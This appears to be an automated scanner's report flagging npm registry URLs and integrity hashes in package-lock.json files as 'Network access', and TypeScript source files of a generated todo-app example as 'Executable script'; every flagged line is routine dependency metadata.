"version": "1.6.18", "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", - Network accessline 2557
"resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", - Network accessline 2568
"node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - Network accessline 2569
"version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - Network accessline 2570
"resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - Network accessline 2582
"node_modules/undici-types": { "version": "6.21.0", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", - Network accessline 2583
"version": "6.21.0", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", - Network accessline 2584
"resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", - Network accessline 2589
"node_modules/unique-filename": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", - Network accessline 2590
"version": "1.1.1", "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", - Network accessline 2591
"resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", - Network accessline 2599
"node_modules/unique-slug": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", - Network accessline 2600
"version": "2.0.2", "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==", - Network accessline 2601
"resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz", - Network accessline 2609
"node_modules/unpipe": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - Network accessline 2610
"version": "1.0.0", "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", - Network accessline 2611
"resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - Network accessline 2618
"node_modules/util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - Network accessline 2619
"version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - Network accessline 2620
"resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - Network accessline 2624
"node_modules/utils-merge": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", - Network accessline 2625
"version": "1.0.1", "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", - Network accessline 2626
"resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", - Network accessline 2633
"node_modules/v8-compile-cache-lib": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz", - Network accessline 2634
"version": "3.0.1", "resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz", "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==", - Network accessline 2635
"resolved": "https://registry.npmjs.org/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz", - Network accessline 2640
"node_modules/vary": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - Network accessline 2641
"version": "1.1.2", "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", - Network accessline 2642
"resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - Network accessline 2649
"node_modules/which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - Network accessline 2650
"version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - Network accessline 2651
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - Network accessline 2665
"node_modules/wide-align": { "version": "1.1.5", "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", - Network accessline 2666
"version": "1.1.5", "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", - Network accessline 2667
"resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", - Network accessline 2675
"node_modules/wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - Network accessline 2676
"version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", - Network accessline 2677
"resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - Network accessline 2681
"node_modules/yallist": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - Network accessline 2682
"version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - Network accessline 2683
"resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - Network accessline 2687
"node_modules/yn": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz", - Network accessline 2688
"version": "3.1.1", "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz", "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==", - Network accessline 2689
"resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz",
skills/loki-mode/examples/todo-app-generated/backend/package.json
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/backend/src/db/database.ts
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/backend/src/db/db.ts
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/backend/src/db/index.ts
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/backend/src/db/migrations.ts
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/backend/src/index.ts
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/backend/src/routes/todos.ts
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/backend/src/types/index.ts
- Executable scriptline 1
Executable file
skills/loki-mode/examples/todo-app-generated/frontend/package-lock.json
- Network accessline 24
"node_modules/@babel/code-frame": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", - Network accessline 25
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", - Network accessline 26
"resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", - Network accessline 39
"node_modules/@babel/compat-data": { "version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz", - Network accessline 40
"version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz", "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==", - Network accessline 41
"resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz", - Network accessline 49
"node_modules/@babel/core": { "version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz", - Network accessline 50
"version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz", "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==", - Network accessline 51
"resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz", - Network accessline 75
"funding": { "type": "opencollective", "url": "https://opencollective.com/babel" - Network accessline 76
"type": "opencollective", "url": "https://opencollective.com/babel" } - Network accessline 77
"url": "https://opencollective.com/babel" - Network accessline 80
"node_modules/@babel/generator": { "version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz", - Network accessline 81
"version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz", "integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==", - Network accessline 82
"resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz", - Network accessline 97
"node_modules/@babel/helper-compilation-targets": { "version": "7.27.2", "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", - Network accessline 98
"version": "7.27.2", "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3O - Network accessline 99
"resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", - Network accessline 114
"node_modules/@babel/helper-globals": { "version": "7.28.0", "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", - Network accessline 115
"version": "7.28.0", "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", - Network accessline 116
"resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", - Network accessline 124
"node_modules/@babel/helper-module-imports": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", - Network accessline 125
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1 - Network accessline 126
"resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", - Network accessline 138
"node_modules/@babel/helper-module-transforms": { "version": "7.28.3", "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz", - Network accessline 139
"version": "7.28.3", "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz", "integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y - Network accessline 140
"resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz", - Network accessline 156
"node_modules/@babel/helper-plugin-utils": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", - Network accessline 157
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0t - Network accessline 158
"resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", - Network accessline 166
"node_modules/@babel/helper-string-parser": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - Network accessline 167
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbW - Network accessline 168
"resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - Network accessline 176
"node_modules/@babel/helper-validator-identifier": { "version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - Network accessline 177
"version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoL - Network accessline 178
"resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - Network accessline 186
"node_modules/@babel/helper-validator-option": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", - Network accessline 187
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4M - Network accessline 188
"resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", - Network accessline 196
"node_modules/@babel/helpers": { "version": "7.28.4", "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz", - Network accessline 197
"version": "7.28.4", "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz", "integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==", - Network accessline 198
"resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz", - Network accessline 210
"node_modules/@babel/parser": { "version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz", - Network accessline 211
"version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz", "integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==", - Network accessline 212
"resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz", - Network accessline 226
"node_modules/@babel/plugin-transform-react-jsx-self": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", - Network accessline 227
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X - Network accessline 228
"resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", - Network accessline 242
"node_modules/@babel/plugin-transform-react-jsx-source": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", - Network accessline 243
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeoko - Network accessline 244
"resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", - Network accessline 258
"node_modules/@babel/template": { "version": "7.27.2", "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", - Network accessline 259
"version": "7.27.2", "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", - Network accessline 260
"resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", - Network accessline 273
"node_modules/@babel/traverse": { "version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz", - Network accessline 274
"version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz", "integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==", - Network accessline 275
"resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz", - Network accessline 292
"node_modules/@babel/types": { "version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz", - Network accessline 293
"version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz", "integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==", - Network accessline 294
"resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz", - Network accessline 306
"node_modules/@esbuild/aix-ppc64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", - Network accessline 307
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", - Network accessline 308
"resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", - Network accessline 323
"node_modules/@esbuild/android-arm": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", - Network accessline 324
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", - Network accessline 325
"resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", - Network accessline 340
"node_modules/@esbuild/android-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", - Network accessline 341
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", - Network accessline 342
"resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", - Network accessline 357
"node_modules/@esbuild/android-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", - Network accessline 358
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", - Network accessline 359
"resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", - Network accessline 374
"node_modules/@esbuild/darwin-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", - Network accessline 375
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", - Network accessline 376
"resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", - Network accessline 391
"node_modules/@esbuild/darwin-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", - Network accessline 392
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", - Network accessline 393
"resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", - Network accessline 408
"node_modules/@esbuild/freebsd-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", - Network accessline 409
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", - Network accessline 410
"resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", - Network accessline 425
"node_modules/@esbuild/freebsd-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", - Network accessline 426
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", - Network accessline 427
"resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", - Network accessline 442
"node_modules/@esbuild/linux-arm": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", - Network accessline 443
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", - Network accessline 444
"resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", - Network accessline 459
"node_modules/@esbuild/linux-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", - Network accessline 460
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", - Network accessline 461
"resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", - Network accessline 476
"node_modules/@esbuild/linux-ia32": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", - Network accessline 477
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", - Network accessline 478
"resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", - Network accessline 493
"node_modules/@esbuild/linux-loong64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", - Network accessline 494
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", - Network accessline 495
"resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", - Network accessline 510
"node_modules/@esbuild/linux-mips64el": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", - Network accessline 511
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", - Network accessline 512
"resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", - Network accessline 527
"node_modules/@esbuild/linux-ppc64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", - Network accessline 528
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", - Network accessline 529
"resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", - Network accessline 544
"node_modules/@esbuild/linux-riscv64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", - Network accessline 545
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", - Network accessline 546
"resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", - Network accessline 561
"node_modules/@esbuild/linux-s390x": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", - Network accessline 562
